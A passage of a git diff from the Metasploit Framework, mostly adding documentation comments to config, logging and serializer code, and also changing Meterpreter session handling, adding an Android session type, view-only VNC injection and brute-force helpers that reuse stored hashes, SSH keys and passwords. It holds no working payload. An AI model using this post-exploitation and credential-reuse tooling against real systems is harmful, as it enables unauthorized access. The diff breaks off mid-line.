File.expand_path("~#{FileSep}.msf#{Msf::Framework::Major}") + File.expand_path("~#{FileSep}.msf#{Metasploit::Framework::Version::MAJOR}") rescue ::ArgumentError # Give up and install root + ".msfx" - InstallRoot + ".msf#{Msf::Framework::Major}" + InstallRoot + ".msf#{Metasploit::Framework::Version::MAJOR}" end end # # Default values # + + # Default system file separator. FileSep = File::SEPARATOR + + # Default configuration locations. Defaults = { 'ConfigDirectory' => get_config_root, @@ -68,247 +78,260 @@ class Config < Hash # ## - # # Returns the framework installation root. # + # @return [String] the framework installation root {InstallRoot}. def self.install_root InstallRoot end + # Returns the configuration directory default. # - # Calls the instance method. - # + # @return [String] the root configuration directory. def self.config_directory self.new.config_directory end + # Returns the global module directory. # - # Calls the instance method. - # + # @return [String] path to global module directory. def self.module_directory self.new.module_directory end + # Returns the path that scripts can be loaded from. # - # Calls the instance method. - # + # @return [String] path to script directory. def self.script_directory self.new.script_directory end + # Returns the directory that log files should be stored in. # - # Calls the instance method. - # + # @return [String] path to log directory. def self.log_directory self.new.log_directory end + # Returns the directory that plugins are stored in. # - # Calls the instance method. - # + # @return [String] path to plugin directory. def self.plugin_directory self.new.plugin_directory end + # Returns the user-specific plugin base path # - # Calls the instance method. - # + # @return [String] path to user-specific plugin directory. def self.user_plugin_directory self.new.user_plugin_directory end + # Returns the directory in which session log files are to reside. # - # Calls the instance method. - # + # @return [String] path to session log directory. def self.session_log_directory self.new.session_log_directory end + # Returns the directory in which captured data will reside. # - # Calls the instance method. - # + # @return [String] path to loot directory. def self.loot_directory self.new.loot_directory end + # Returns the directory in which locally-generated data will reside. # - # Calls the instance method. - # + # @return [String] path to locally-generated data directory. def self.local_directory self.new.local_directory end + # Returns the user-specific module base path # - # Calls the instance method. - # + # @return [String] path to user-specific modules directory. def self.user_module_directory self.new.user_module_directory end + # Returns the user-specific script base path # - # Calls the instance method. - # + # @return [String] path to user-specific script directory. def self.user_script_directory self.new.user_script_directory end + # Returns the data directory # - # Calls the instance method. - # + # @return [String] path to data directory. def self.data_directory self.new.data_directory end + # Returns the full path to the configuration file. # - # Calls the instance method. - # + # @return [String] path to the configuration file. def self.config_file self.new.config_file end + # Returns the full path to the history file. # - # Calls the instance method. - # + # @return [String] path the history file. def self.history_file self.new.history_file end + # Initializes configuration, creating directories as necessary. # - # Calls the instance method. - # + # @return [void] def self.init self.new.init end + # Loads configuration from the supplied file path, or the default one if + # none is specified. # - # Calls the instance method. - # + # @param path [String] the path to the configuration file. + # @return [Rex::Parser::Ini] INI file parser. def self.load(path = nil) self.new.load(path) end + # Saves configuration to the path specified in the ConfigFile hash key or + # the default path if one isn't specified. The options should be group + # references that have named value pairs. # - # Calls the instance method. - # + # @param opts [Hash] Hash containing configuration options. + # @option opts 'ConfigFile' [Hash] configuration file these options apply + # to. + # @return [void] + # @example Save 'Cat' => 'Foo' in group 'ExampleGroup' + # save( + # 'ExampleGroup' => + # { + # 'Foo' => 'Cat' + # }) def self.save(opts) self.new.save(opts) end - # # Updates the config class' self with the default hash. # + # @return [Hash] the updated Hash. def initialize update(Defaults) end - # # Returns the installation root directory # + # @return [String] the installation root directory {InstallRoot}. def install_root InstallRoot end - # # Returns the configuration directory default. # + # @return [String] the root configuration directory. def config_directory self['ConfigDirectory'] end - # # Returns the full path to the configuration file. # + # @return [String] path to the configuration file. def config_file config_directory + FileSep + self['ConfigFile'] end + # Returns the full path to the history file. # - # Returns the full path to the configuration file. - # + # @return [String] path the history file. def history_file config_directory + FileSep + "history" end - # # Returns the global module directory. # + # @return [String] path to global module directory. def module_directory install_root + FileSep + self['ModuleDirectory'] end - # # Returns the path that scripts can be loaded from. # + # @return [String] path to script directory. def script_directory install_root + FileSep + self['ScriptDirectory'] end - # # Returns the directory that log files should be stored in. # + # @return [String] path to log directory. def log_directory config_directory + FileSep + self['LogDirectory'] end - # # Returns the directory that plugins are stored in. # + # @return [String] path to plugin directory. def plugin_directory install_root + FileSep + self['PluginDirectory'] end - # # Returns the directory in which session log files are to reside. # + # @return [String] path to session log directory. def session_log_directory config_directory + FileSep + self['SessionLogDirectory'] end - # # Returns the directory in which captured data will reside. # + # @return [String] path to loot directory. def loot_directory config_directory + FileSep + self['LootDirectory'] end - # # Returns the directory in which locally-generated data will reside. # + # @return [String] path to locally-generated data directory. def local_directory config_directory + FileSep + self['LocalDirectory'] end - # # Returns the user-specific module base path # + # @return [String] path to user-specific modules directory. def user_module_directory config_directory + FileSep + "modules" end - # # Returns the user-specific plugin base path # + # @return [String] path to user-specific plugin directory. def user_plugin_directory config_directory + FileSep + "plugins" end - # # Returns the user-specific script base path # + # @return [String] path to user-specific script directory. def user_script_directory config_directory + FileSep + "scripts" end - # # Returns the data directory # + # @return [String] path to data directory. def data_directory install_root + FileSep + self['DataDirectory'] end - # # Initializes configuration, creating directories as necessary. # + # @return [void] def init FileUtils.mkdir_p(module_directory) FileUtils.mkdir_p(config_directory) @@ -320,27 +343,31 @@ class Config < Hash FileUtils.mkdir_p(user_plugin_directory) end - # # Loads configuration from the supplied file path, or the default one if # none is specified. # + # @param path [String] the path to the configuration file. + # @return [Rex::Parser::Ini] INI file parser. def load(path = nil) path = config_file if (!path) return Rex::Parser::Ini.new(path) end - # # Saves configuration to the path specified in the ConfigFile hash key or - # the default path is one isn't specified. The options should be group - # references that have named value pairs. Example: - # - # save( - # 'ExampleGroup' => - # { - # 'Foo' => 'Cat' - # }) + # the default path if one isn't specified. The options should be group + # references that have named value pairs. # + # @param opts [Hash] Hash containing configuration options. + # @option opts 'ConfigFile' [Hash] configuration file these options apply + # to. + # @return [void] + # @example Save 'Cat' => 'Foo' in group 'ExampleGroup' + # save( + # 'ExampleGroup' => + # { + # 'Foo' => 'Cat' + # }) def save(opts) ini = Rex::Parser::Ini.new(opts['ConfigFile'] || config_file) diff --git a/lib/msf/base/logging.rb b/lib/msf/base/logging.rb index ccf6315dc9..0a0c475c5b 100644 --- a/lib/msf/base/logging.rb +++ b/lib/msf/base/logging.rb @@ -4,19 +4,19 @@ require 'msf/base' module Msf -### -# # This module provides an initialization interface for logging. -# -### class Logging + #Is logging initialized + #@private @@initialized = false + #Is session logging enabled + #@private @@session_logging = false - # # Initialize logging. # + # @return [void] def self.init if (! @@initialized) @@initialized = true @@ -35,9 +35,13 @@ class Logging end end + # Enables a log source of name src. Creates the .log file in the + # configured directory if logging is not already enabled for this + # source. # - # Enables a log source. - # + # @param src [String] log source name. + # @param level [Integer] logging level. + # @return [void] def self.enable_log_source(src, level = 0) if (log_source_registered?(src) == false) f = Rex::Logging::Sinks::Flatfile.new( @@ -47,30 +51,33 @@ class Logging end end - # # Stops logging for a given log source. # + # @param src [String] the log source to disable. + # @return [Boolean] true if successful. false if not. def self.disable_log_source(src) deregister_log_source(src) end - # # Sets whether or not session logging is to be enabled. # + # @param tf [Boolean] true if enabling. false if disabling. + # @return [void] def self.enable_session_logging(tf) @@session_logging = tf end - # # Returns whether or not session logging is enabled. # + # @return [Boolean] true if enabled. false if disabled. def self.session_logging_enabled? @@session_logging || false end - # # Starts logging for a given session. # + # @param session [Msf::Session] the session to start logging on. + # @return [void] def self.start_session_log(session) if (log_source_registered?(session.log_source) == false) f = Rex::Logging::Sinks::Flatfile.new( @@ -82,9 +89,10 @@ class Logging end end - # # Stops logging for a given session. # + # @param session [Msf::Session] the session to stop logging. + # @return [Boolean] true if sucessful. false if not. def self.stop_session_log(session) rlog("\n[*] Logging stopped: #{Time.now}\n\n", session.log_source) diff --git a/lib/msf/base/persistent_storage.rb b/lib/msf/base/persistent_storage.rb index 8cbac93137..b7f93a01f6 100644 --- a/lib/msf/base/persistent_storage.rb +++ b/lib/msf/base/persistent_storage.rb @@ -1,24 +1,25 @@ # -*- coding: binary -*- module Msf -### -# # This class provides a generalized interface to persisting information, # either in whole or in part, about the state of the framework. This can # be used to store data that can later be reinitialized in a new instance # of the framework or to provide a simple mechanism for generating reports # of some form. # -### +# @abstract Subclass and override {#initialize}, {#store}, and {#fetch}. class PersistentStorage @@storage_classes = {} - # # Creates an instance of the storage class with the supplied name. The # array supplied as an argument is passed to the constructor of the # associated class as a means of generic initialization. # + # @param name [String] the name of the storage class. + # @param params [Object] the parameters to give the new class. + # @return [PersistentStorage] the newly created class. + # @return [nil] if class has not been added through {.add_storage_class}. def self.create(name, *params) if (klass = @@storage_classes[name]) klass.new(*params) @@ -27,36 +28,42 @@ class PersistentStorage end end - # # Stub initialization routine that takes the params passed to create. # + # @param params [Object] the parameters to initialize with. def initialize(*params) end - # # This methods stores all or part of the current state of the supplied # framework instance to whatever medium the derived class implements. # If the derived class does not implement this method, the # NotImplementedError is raised. # + # @param framework [Msf::Framework] framework state to store. + # @return [void] no implementation. + # @raise [NotImpementedError] raised if not implemented. def store(framework) raise NotImplementedError end - # # This method initializes the supplied framework instance with the state # that is stored in the persisted backing that the derived class # implements. If the derived class does not implement this method, the # NotImplementedError is raised. # + # @param framework [Msf::Framework] framework to restore state to. + # @return [void] no implementation. + # @raise [NotImplementedError] raised if not implemented. def fetch(framework) raise NotImplementedError end - # # This method adds a new storage class to the hash of storage classes that # can be created through create. # + # @param name [String] the name of the storage class. + # @param klass [PersistentStorage] the storage class to add. + # @return [void] def self.add_storage_class(name, klass) @@storage_classes[name] = klass end diff --git a/lib/msf/base/persistent_storage/flatfile.rb b/lib/msf/base/persistent_storage/flatfile.rb index 15ce4bb94e..aa4c724ba9 100644 --- a/lib/msf/base/persistent_storage/flatfile.rb +++ b/lib/msf/base/persistent_storage/flatfile.rb @@ -2,30 +2,29 @@ module Msf class PersistentStorage -### -# # This class persists the state of the framework to a flatfile in a human # readable format. At the moment, the level of information it conveys is # rather basic and ugly, but this is just a prototype, so it will be improved. # Oh yes, it will be improved. -# -### class Flatfile < PersistentStorage - # # Initializes the flatfile for storage based on the parameters specified. # The hash must contain a FilePath attribute. # + # @overload initialize(path) + # Initializes the flatfile with the set path. + # @param path [String] path of the flatfile. def initialize(*params) raise ArgumentError, "You must specify a file path" if (params.length == 0) self.path = params[0] end - # # This method stores the current state of the framework in human readable # form to a flatfile. This can be used as a reporting mechanism. # + # @param framework [Msf:::Framework] the Framework to store. + # @return [void] def store(framework) # Open the supplied file path for writing. self.fd = File.new(self.path, "w") @@ -41,10 +40,11 @@ protected attr_accessor :fd, :path # :nodoc: - # # This method stores general information about the current state of the # framework instance. # + # @param framework [Msf::Framework] the Framework to store. + # @return [void] def store_general(framework) fd.print( "\n" + diff --git a/lib/msf/base/serializer/readable_text.rb b/lib/msf/base/serializer/readable_text.rb index 3e018a188c..5200b4d14c 100644 --- a/lib/msf/base/serializer/readable_text.rb +++ b/lib/msf/base/serializer/readable_text.rb @@ -2,22 +2,22 @@ module Msf module Serializer -### -# # This class formats information in a plain-text format that # is meant to be displayed on a console or some other non-GUI # medium. -# -### class ReadableText + #Default number of characters to wrap at. DefaultColumnWrap = 70 + #Default number of characters to indent. DefaultIndent = 2 - # # Returns a formatted string that contains information about # the supplied module instance. # + # @param mod [Msf::Module] the module to dump information for. + # @param indent [String] the indentation to use. + # @return [String] formatted text output of the dump. def self.dump_module(mod, indent = " ") case mod.type when MODULE_PAYLOAD @@ -37,9 +37,14 @@ class ReadableText end end - # # Dumps an exploit's targets. # + # @param mod [Msf::Exploit] the exploit module to dump targets + # for. + # @param indent [String] the indentation to use (only the length + # matters). + # @param h [String] the string to display as the table heading. + # @return [String] the string form of the table. def self.dump_exploit_targets(mod, indent = '', h = nil) tbl = Rex::Ui::Text::Table.new( 'Indent' => indent.length, @@ -57,9 +62,13 @@ class ReadableText tbl.to_s + "\n" end - # # Dumps the exploit's selected target # + # @param mod [Msf::Exploit] the exploit module. + # @param indent [String] the indentation to use (only the length + # matters) + # @param h [String] the string to display as the table heading. + # @return [String] the string form of the table. def self.dump_exploit_target(mod, indent = '', h = nil) tbl = Rex::Ui::Text::Table.new( 'Indent' => indent.length, @@ -75,9 +84,13 @@ class ReadableText tbl.to_s + "\n" end - # # Dumps an auxiliary's actions # + # @param mod [Msf::Auxiliary] the auxiliary module. + # @param indent [String] the indentation to use (only the length + # matters) + # @param h [String] the string to display as the table heading. + # @return [String] the string form of the table. def self.dump_auxiliary_actions(mod, indent = '', h = nil) tbl = Rex::Ui::Text::Table.new( 'Indent' => indent.length, @@ -95,10 +108,14 @@ class ReadableText tbl.to_s + "\n" end - # # Dumps the table of payloads that are compatible with the supplied # exploit. # + # @param exploit [Msf::Exploit] the exploit module. + # @param indent [String] the indentation to use (only the length + # matters) + # @param h [String] the string to display as the table heading. + # @return [String] the string form of the table. def self.dump_compatible_payloads(exploit, indent = '', h = nil) tbl = Rex::Ui::Text::Table.new( 'Indent' => indent.length, @@ -116,9 +133,11 @@ class ReadableText tbl.to_s + "\n" end - # # Dumps information about an exploit module. # + # @param mod [Msf::Exploit] the exploit module. + # @param indent [String] the indentation to use. + # @return [String] the string form of the information. def self.dump_exploit_module(mod, indent = '') output = "\n" output << " Name: #{mod.name}\n" @@ -171,9 +190,11 @@ class ReadableText end - # # Dumps information about an auxiliary module. # + # @param mod [Msf::Auxiliary] the auxiliary module. + # @param indent [String] the indentation to use. + # @return [String] the string form of the information. def self.dump_auxiliary_module(mod, indent = '') output = "\n" output << " Name: #{mod.name}\n" @@ -207,9 +228,11 @@ class ReadableText return output end - # # Dumps information about a payload module. # + # @param mod [Msf::Payload] the payload module. + # @param indent [String] the indentation to use. + # @return [String] the string form of the information. def self.dump_payload_module(mod, indent = '') # General output = "\n" @@ -244,9 +267,11 @@ class ReadableText return output end - # # Dumps information about a module, just the basics. # + # @param mod [Msf::Module] the module. + # @param indent [String] the indentation to use. + # @return [String] the string form of the information. def self.dump_basic_module(mod, indent = '') # General output = "\n" @@ -277,13 +302,16 @@ class ReadableText end + #No current use def self.dump_generic_module(mod, indent = '') end - # # Dumps the list of options associated with the # supplied module. # + # @param mod [Msf::Module] the module. + # @param indent [String] the indentation to use. + # @return [String] the string form of the information. def self.dump_options(mod, indent = '') tbl = Rex::Ui::Text::Table.new( 'Indent' => indent.length, @@ -309,9 +337,11 @@ class ReadableText return tbl.to_s end - # # Dumps the advanced options associated with the supplied module. # + # @param mod [Msf::Module] the module. + # @param indent [String] the indentation to use. + # @return [String] the string form of the information. def self.dump_advanced_options(mod, indent = '') output = '' pad = indent @@ -333,9 +363,11 @@ class ReadableText return output end - # # Dumps the evasion options associated with the supplied module. # + # @param mod [Msf::Module] the module. + # @param indent [String] the indentation to use. + # @return [String] the string form of the information. def self.dump_evasion_options(mod, indent = '') output = '' pad = indent @@ -358,6 +390,11 @@ class ReadableText return output end + # Dumps the references associated with the supplied module. + # + # @param mod [Msf::Module] the module. + # @param indent [String] the indentation to use. + # @return [String] the string form of the information. def self.dump_references(mod, indent = '') output = '' @@ -372,9 +409,13 @@ class ReadableText output end - # # Dumps the contents of a datastore. # + # @param name [String] displayed as the table header. + # @param ds [Msf::DataStore] the DataStore to dump. + # @param indent [Integer] the indentation size. + # @param col [Integer] the column width. + # @return [String] the formatted DataStore contents. def self.dump_datastore(name, ds, indent = DefaultIndent, col = DefaultColumnWrap) tbl = Rex::Ui::Text::Table.new( 'Indent' => indent, @@ -392,9 +433,17 @@ class ReadableText return ds.length > 0 ? tbl.to_s : "#{tbl.header_to_s}No entries in data store.\n" end - # # Dumps the list of active sessions. # + # @param framework [Msf::Framework] the framework to dump. + # @param opts [Hash] the options to dump with. + # @option opts :session_ids [Array] the list of sessions to dump (no + # effect). + # @option opts :verbose [Boolean] gives more information if set to + # true. + # @option opts :indent [Integer] set the indentation amount. + # @option opts :col [Integer] the column wrap width. + # @return [String] the formatted list of sessions. def self.dump_sessions(framework, opts={}) ids = (opts[:session_ids] || framework.sessions.keys).sort verbose = opts[:verbose] || false @@ -437,12 +486,14 @@ class ReadableText return framework.sessions.length > 0 ? tbl.to_s : "#{tbl.header_to_s}No active sessions.\n" end - # # Dumps the list of running jobs. # - # If verbose is true, also prints the payload, LPORT, URIPATH and start - # time, if they exist, for each job. - # + # @param framework [Msf::Framework] the framework. + # @param verbose [Boolean] if true, also prints the payload, LPORT, URIPATH + # and start time, if they exist, for each job. + # @param indent [Integer] the indentation amount. + # @param col [Integer] the column wrap width. + # @return [String] the formatted list of running jobs. def self.dump_jobs(framework, verbose = false, indent = DefaultIndent, col = DefaultColumnWrap) columns = [ 'Id', 'Name' ] @@ -479,10 +530,13 @@ class ReadableText return framework.jobs.keys.length > 0 ? tbl.to_s : "#{tbl.header_to_s}No active jobs.\n" end - # # Jacked from Ernest Ellingson <erne [at] powernav.com>, modified # a bit to add indention # + # @param str [String] the string to wrap. + # @param indent [Integer] the indentation amount. + # @param col [Integer] the column wrap width. + # @return [String] the wrapped string. def self.word_wrap(str, indent = DefaultIndent, col = DefaultColumnWrap) return Rex::Text.wordwrap(str, indent, col) end diff --git a/lib/msf/base/sessions/meterpreter.rb b/lib/msf/base/sessions/meterpreter.rb index 7b6c6d713e..508f533c5a 100644 --- a/lib/msf/base/sessions/meterpreter.rb +++ b/lib/msf/base/sessions/meterpreter.rb @@ -303,52 +303,20 @@ class Meterpreter < Rex::Post::Meterpreter::Client safe_info.gsub!(/[\x00-\x08\x0b\x0c\x0e-\x19\x7f-\xff]+/n,"_") self.info = safe_info - # Enumerate network interfaces to detect IP - ifaces = self.net.config.get_interfaces().flatten rescue [] - routes = self.net.config.get_routes().flatten rescue [] - shost = self.session_host + hobj = nil - # Try to match our visible IP to a real interface - # TODO: Deal with IPv6 addresses - found = !!(ifaces.find {|i| i.addrs.find {|a| a == shost } }) - nhost = nil - hobj = nil - - if Rex::Socket.is_ipv4?(shost) and not found - - # Try to find an interface with a default route - default_routes = routes.select{ |r| r.subnet == "0.0.0.0" || r.subnet == "::" } - default_routes.each do |r| - ifaces.each do |i| - bits = Rex::Socket.net2bitmask( i.netmask ) rescue 32 - rang = Rex::Socket::RangeWalker.new( "#{i.ip}/#{bits}" ) rescue nil - if rang and rang.include?( r.gateway ) - nhost = i.ip - break - end - end - break if nhost - end - - # Find the first non-loopback address - if not nhost - iface = ifaces.select{|i| i.ip != "127.0.0.1" and i.ip != "::1" } - if iface.length > 0 - nhost = iface.first.ip - end - end - end + nhost = find_internet_connected_address + original_session_host = self.session_host # If we found a better IP address for this session, change it up # only handle cases where the DB is not connected here - if not (framework.db and framework.db.active) + if !(framework.db && framework.db.active) self.session_host = nhost end - # The rest of this requires a database, so bail if it's not # there - return if not (framework.db and framework.db.active) + return if !(framework.db && framework.db.active) ::ActiveRecord::Base.connection_pool.with_connection { wspace = framework.db.find_workspace(workspace) @@ -384,18 +352,18 @@ class Meterpreter < Rex::Post::Meterpreter::Client if nhost framework.db.report_note({ :type => "host.nat.server", - :host => shost, + :host => original_session_host, :workspace => wspace, :data => { :info => "This device is acting as a NAT gateway for #{nhost}", :client => nhost }, :update => :unique_data }) - framework.db.report_host(:host => shost, :purpose => 'firewall' ) + framework.db.report_host(:host => original_session_host, :purpose => 'firewall' ) framework.db.report_note({ :type => "host.nat.client", :host => nhost, :workspace => wspace, - :data => { :info => "This device is traversing NAT gateway #{shost}", :server => shost }, + :data => { :info => "This device is traversing NAT gateway #{original_session_host}", :server => original_session_host }, :update => :unique_data }) framework.db.report_host(:host => nhost, :purpose => 'client' ) @@ -428,7 +396,7 @@ class Meterpreter < Rex::Post::Meterpreter::Client console.interact { self.interacting != true } # If the stop flag has been set, then that means the user exited. Raise - # the EOFError so we can drop this bitch like a bad habit. + # the EOFError so we can drop this handle like a bad habit. raise EOFError if (console.stopped? == true) end @@ -470,6 +438,60 @@ protected attr_accessor :rstream # :nodoc: + # Rummage through this host's routes and interfaces looking for an + # address that it uses to talk to the internet. + # + # @see Rex::Post::Meterpreter::Extensions::Stdapi::Net::Config#get_interfaces + # @see Rex::Post::Meterpreter::Extensions::Stdapi::Net::Config#get_routes + # @return [String] The address from which this host reaches the + # internet, as ASCII. e.g.: "192.168.100.156" + def find_internet_connected_address + + ifaces = self.net.config.get_interfaces().flatten rescue [] + routes = self.net.config.get_routes().flatten rescue [] + + # Try to match our visible IP to a real interface + found = !!(ifaces.find { |i| i.addrs.find { |a| a == session_host } }) + nhost = nil + + # If the host has no address that matches what we see, then one of + # us is behind NAT so we have to look harder. + if !found + # Grab all routes to the internet + default_routes = routes.select { |r| r.subnet == "0.0.0.0" || r.subnet == "::" } + + default_routes.each do |route| + # Now try to find an interface whose network includes this + # Route's gateway, which means it's the one the host uses to get + # to the interweb. + ifaces.each do |i| + # Try all the addresses this interface has configured + addr_and_mask = i.addrs.zip(i.netmasks).find do |addr, netmask| + bits = Rex::Socket.net2bitmask( netmask ) + range = Rex::Socket::RangeWalker.new("#{addr}/#{bits}") rescue nil + + !!(range && range.valid? && range.include?(route.gateway)) + end + if addr_and_mask + nhost = addr_and_mask[0] + break + end + end + break if nhost + end + + if !nhost + # Find the first non-loopback address + non_loopback = ifaces.find { |i| i.ip != "127.0.0.1" && i.ip != "::1" } + if non_loopback + nhost = non_loopback.ip + end + end + end + + nhost + end + end end diff --git a/lib/msf/base/sessions/meterpreter_android.rb b/lib/msf/base/sessions/meterpreter_android.rb new file mode 100644 index 0000000000..f3417ae8c7 --- /dev/null +++ b/lib/msf/base/sessions/meterpreter_android.rb @@ -0,0 +1,33 @@ +# -*- coding: binary -*- + +require 'msf/base/sessions/meterpreter' +require 'msf/base/sessions/meterpreter_java' +require 'msf/base/sessions/meterpreter_options' + +module Msf +module Sessions + +### +# +# This class creates a platform-specific meterpreter session type +# +### +class Meterpreter_Java_Android < Msf::Sessions::Meterpreter_Java_Java + + def initialize(rstream, opts={}) + super + self.platform = 'java/android' + end + + def load_android + original = console.disable_output + console.disable_output = true + console.run_single('load android') + console.disable_output = original + end + +end + +end +end + diff --git a/lib/msf/base/sessions/meterpreter_options.rb b/lib/msf/base/sessions/meterpreter_options.rb index 333dd968a7..f9d60d30b8 100644 --- a/lib/msf/base/sessions/meterpreter_options.rb +++ b/lib/msf/base/sessions/meterpreter_options.rb @@ -59,6 +59,12 @@ module MeterpreterOptions end end + if session.platform =~ /android/i + if datastore['AutoLoadAndroid'] + session.load_android + end + end + [ 'InitialAutoRunScript', 'AutoRunScript' ].each do |key| if (datastore[key].empty? == false) args = Shellwords.shellwords( datastore[key] ) diff --git a/lib/msf/base/sessions/vncinject.rb b/lib/msf/base/sessions/vncinject.rb index e4be177c22..eaa7decf8f 100644 --- a/lib/msf/base/sessions/vncinject.rb +++ b/lib/msf/base/sessions/vncinject.rb @@ -152,14 +152,18 @@ class VncInject # Note that this says nothing about whether it worked, only that we found # the file. # - def autovnc + def autovnc(viewonly=true) vnc = Rex::FileUtils::find_full_path('vncviewer') || Rex::FileUtils::find_full_path('vncviewer.exe') if (vnc) + args = [] + args.push '-viewonly' if viewonly + args.push "#{vlhost}::#{vlport}" + self.view = framework.threads.spawn("VncViewerWrapper", false) { - system("vncviewer #{vlhost}::#{vlport}") + system(vnc, *args) } return true diff --git a/lib/msf/base/sessions/vncinject_options.rb b/lib/msf/base/sessions/vncinject_options.rb index f110772c9b..05962133fc 100644 --- a/lib/msf/base/sessions/vncinject_options.rb +++ b/lib/msf/base/sessions/vncinject_options.rb @@ -22,6 +22,18 @@ module VncInjectOptions "The local host to use for the VNC proxy", '127.0.0.1' ]), + OptBool.new('DisableCourtesyShell', + [ + false, + "Disables the Metasploit Courtesy shell", + true + ]), + OptBool.new('ViewOnly', + [ + false, + "Runs the viewer in view mode", + true + ]), OptBool.new('AUTOVNC', [ true, @@ -32,12 +44,6 @@ module VncInjectOptions register_advanced_options( [ - OptBool.new('DisableCourtesyShell', - [ - false, - "Disables the Metasploit Courtesy shell", - false - ]), OptBool.new('DisableSessionTracking', [ false, @@ -79,7 +85,7 @@ module VncInjectOptions # If the AUTOVNC flag is set, launch VNC viewer. if (datastore['AUTOVNC'] == true) - if (session.autovnc) + if (session.autovnc(datastore['ViewOnly'])) print_status("Launched vncviewer.") else print_error("Failed to launch vncviewer. Is it installed and in your path?") diff --git a/lib/msf/base/simple/framework.rb b/lib/msf/base/simple/framework.rb index bf0a1e7567..ff45da2aa2 100644 --- a/lib/msf/base/simple/framework.rb +++ b/lib/msf/base/simple/framework.rb @@ -100,7 +100,7 @@ module Framework # Initialize configuration and logging Msf::Config.init - Msf::Logging.init + Msf::Logging.init unless opts['DisableLogging'] # Load the configuration framework.load_config diff --git a/lib/msf/base/simple/framework/module_paths.rb b/lib/msf/base/simple/framework/module_paths.rb index 481068cf3c..a5ddf83840 100644 --- a/lib/msf/base/simple/framework/module_paths.rb +++ b/lib/msf/base/simple/framework/module_paths.rb @@ -1,3 +1,4 @@ +# -*- coding: binary -*- module Msf module Simple module Framework @@ -9,9 +10,10 @@ module Msf # Ensure the module cache is accurate self.modules.refresh_cache_from_database - # Initialize the default module search paths - if (Msf::Config.module_directory) - self.modules.add_module_path(Msf::Config.module_directory, opts) + add_engine_module_paths(Rails.application, opts) + + Rails.application.railties.engines.each do |engine| + add_engine_module_paths(engine, opts) end # Initialize the user module search path @@ -27,6 +29,25 @@ module Msf } end end + + private + + # Add directories `engine.paths['modules']` from `engine`. + # + # @param engine [Rails::Engine] a rails engine or application + # @param options [Hash] options for {Msf::ModuleManager::ModulePaths#add_module_paths} + # @return [void] + def add_engine_module_paths(engine, options={}) + modules_paths = engine.paths['modules'] + + if modules_paths + modules_directories = modules_paths.existent_directories + + modules_directories.each do |modules_directory| + modules.add_module_path(modules_directory, options) + end + end + end end end end diff --git a/lib/msf/base/simple/post.rb b/lib/msf/base/simple/post.rb index c8922697a5..9cda2a1338 100644 --- a/lib/msf/base/simple/post.rb +++ b/lib/msf/base/simple/post.rb @@ -89,7 +89,7 @@ protected # # Job run proc, sets up the module and kicks it off. # - # XXX: Mostly Copy/pasted from simple/auxiliarly.rb + # XXX: Mostly Copy/pasted from simple/auxiliary.rb # def self.job_run_proc(ctx) mod = ctx[0] @@ -99,9 +99,15 @@ protected # Grab the session object since we need to fire an event for not # only the normal module_run event that all module types have to # report, but a specific event for sessions as well. - s = mod.framework.sessions[mod.datastore["SESSION"]] - mod.framework.events.on_session_module_run(s, mod) - mod.run + s = mod.framework.sessions.get(mod.datastore["SESSION"]) + if s + mod.framework.events.on_session_module_run(s, mod) + mod.run + else + mod.print_error("Session not found") + mod.cleanup + return + end rescue ::Timeout::Error => e mod.error = e mod.print_error("Post triggered a timeout exception") @@ -135,7 +141,7 @@ protected # # Clean up the module after the job completes. # - # Copy/pasted from simple/auxiliarly.rb + # Copy/pasted from simple/auxiliary.rb # def self.job_cleanup_proc(ctx) mod = ctx[0] diff --git a/lib/msf/core.rb b/lib/msf/core.rb index 0c2fe2409c..cde0260688 100644 --- a/lib/msf/core.rb +++ b/lib/msf/core.rb @@ -60,6 +60,7 @@ require 'msf/core/post' # Custom HTTP Modules require 'msf/http/wordpress' require 'msf/http/typo3' +require 'msf/http/jboss' # Drivers require 'msf/core/exploit_driver' diff --git a/lib/msf/core/auxiliary/auth_brute.rb b/lib/msf/core/auxiliary/auth_brute.rb index 2570106243..aeda5ec0cd 100644 --- a/lib/msf/core/auxiliary/auth_brute.rb +++ b/lib/msf/core/auxiliary/auth_brute.rb @@ -20,8 +20,8 @@ module Auxiliary::AuthBrute OptPath.new('USERPASS_FILE', [ false, "File containing users and passwords separated by space, one pair per line" ]), OptInt.new('BRUTEFORCE_SPEED', [ true, "How fast to bruteforce, from 0 to 5", 5]), OptBool.new('VERBOSE', [ true, "Whether to print output for all attempts", true]), - OptBool.new('BLANK_PASSWORDS', [ false, "Try blank passwords for all users", true]), - OptBool.new('USER_AS_PASS', [ false, "Try the username as the password for all users", true]), + OptBool.new('BLANK_PASSWORDS', [ false, "Try blank passwords for all users", false]), + OptBool.new('USER_AS_PASS', [ false, "Try the username as the password for all users", false]), OptBool.new('DB_ALL_CREDS', [false,"Try each user/password couple stored in the current database",false]), OptBool.new('DB_ALL_USERS', [false,"Add all users in the current database to the list",false]), OptBool.new('DB_ALL_PASS', [false,"Add all passwords in the current database to the list",false]), @@ -49,6 +49,53 @@ module Auxiliary::AuthBrute @@max_per_service = nil end + # This method takes a {Metasploit::Framework::CredentialCollection} and prepends existing NTLMHashes + # from the database. This allows the users to use the DB_ALL_CREDS option. + # + # @param [Metasploit::Framework::CredentialCollection] the credential collection to add to + # @return [Metasploit::Framework::CredentialCollection] the modified Credentialcollection + def prepend_db_hashes(cred_collection) + if datastore['DB_ALL_CREDS'] && framework.db.active + creds = Metasploit::Credential::Core.joins(:private).where(metasploit_credential_privates: { type: 'Metasploit::Credential::NTLMHash' }, workspace_id: myworkspace.id) + creds.each do |cred| + cred_collection.prepend_cred(cred.to_credential) + end + end + cred_collection + end + + # This method takes a {Metasploit::Framework::CredentialCollection} and prepends existing SSHKeys + # from the database. This allows the users to use the DB_ALL_CREDS option. + # + # @param [Metasploit::Framework::CredentialCollection] the credential collection to add to + # @return [Metasploit::Framework::CredentialCollection] the modified Credentialcollection + def prepend_db_keys(cred_collection) + if datastore['DB_ALL_CREDS'] && framework.db.active + creds = Metasploit::Credential::Core.joins(:private).where(metasploit_credential_privates: { type: 'Metasploit::Credential::SSHKey' }, workspace_id: myworkspace.id) + creds.each do |cred| + cred_collection.prepend_cred(cred.to_credential) + end + end + cred_collection + end + + # This method takes a {Metasploit::Framework::CredentialCollection} and prepends existing Password Credentials + # from the database. This allows the users to use the DB_ALL_CREDS option. + # + # @param [Metasploit::Framework::CredentialCollection] the credential collection to add to + # @return [Metasploit::Framework::CredentialCollection] the modified Credentialcollection + def prepend_db_passwords(cred_collection) + if datastore['DB_ALL_CREDS'] && framework.db.active + creds = Metasploit::Credential::Core.joins(:private).where(metasploit_credential_privates: { type: 'Metasploit::Credential::Password' }, workspace_id: 